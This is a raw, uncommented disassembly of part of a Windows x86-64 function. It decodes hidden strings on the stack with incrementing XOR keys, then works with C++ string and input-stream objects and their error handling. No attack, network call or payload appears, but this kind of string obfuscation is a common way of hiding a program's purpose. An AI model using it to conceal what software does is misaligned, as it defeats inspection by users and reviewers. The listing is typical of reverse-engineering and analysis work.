cmp byte [0x1400e09d5], 0
je 0x14004e713
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x34
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea rax, [rsp + 0x30]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004e730
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.140039be0
nop
movsd xmm0, qword [str._UA_CM___]
movsd qword [rsp + 0x30], xmm0
movzx eax, byte [0x1400e35f0]
mov byte [rsp + 0x30], 0x6c
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor byte [rsp + 0x34], 0x37
xor byte [rsp + 0x35], 0x38
xor byte [rsp + 0x36], 0x39
xor byte [rsp + 0x37], 0x3a
xor al, 0x3b
mov byte [rsp + 0x38], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x30]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004e7a6
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140039be0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x18]
call fcn.1400574c0
lea rdx, [rbp - 0x78]
mov rcx, rax
call fcn.14005b180
mov dword [rsp + 0x40], 0x3d
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.14003b360
mov dword [rsp + 0x40], 0x7d
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov rcx, rdi
call fcn.1400397d0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004e85b
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e855
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec2f
call fcn.14008a258
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004e896
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e891
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec35
call fcn.14008a258
movdqa xmm0, xmmword [0x1400e4970]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004e8e2
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e8dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec3b
call fcn.14008a258
movzx eax, word [0x1400e09d4]
mov word [rsp + 0x30], ax
cmp byte [0x1400e09d5], 0
je 0x14004e901
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x34
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004e920
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x78]
call fcn.140039be0
nop
movsd xmm0, qword [0x1400e3548]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400e3550]
mov word [rsp + 0x38], ax
cmp byte [0x1400e3551], 0
je 0x14004e98e
mov byte [rsp + 0x30], 0x6c
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor byte [rsp + 0x34], 0x37
xor byte [rsp + 0x35], 0x38
xor byte [rsp + 0x36], 0x39
xor byte [rsp + 0x37], 0x3a
xor byte [rsp + 0x38], 0x3b
xor byte [rsp + 0x39], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004e9a2
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.140039be0
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x18]
call fcn.1400574c0
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.14005b180
mov dword [rsp + 0x40], 0xfd
lea r9, [rbp - 0x78]
lea r8, [rsp + 0x48]
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.14003b360
mov dword [rsp + 0x40], 0x1fd
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov rcx, rdi
call fcn.1400397d0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004ea59
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ea53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec41
call fcn.14008a258
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14004ea96
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ea91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec47
call fcn.14008a258
movdqa xmm0, xmmword [0x1400e4970]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004eae5
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004eadf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004eb89
call fcn.14008a258
nop
movzx edx, byte [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.1400587c0
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x30], r12
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x40]
call fcn.140042640
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rcx, qword [rbp + 0x30]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rbp + rdx + 0x2c], r8d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0xe0]
call fcn.140088f54
nop
mov rax, rdi
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140089c40
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.14009965c
nop
call fcn.14009965c
int3
call fcn.14009965c
nop
call fcn.14009965c
nop
test dl, 4
je 0x14004ebaf
lea rbx, str.ios_base::badbit_set
jmp 0x14004ebc4
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.14003b600
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x58]
call fcn.14003c040
lea rdx, [0x1400f6ce8]
lea rcx, [rbp - 0x58]
call fcn.14008c234
int3
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
nop
call fcn.14009965c
int3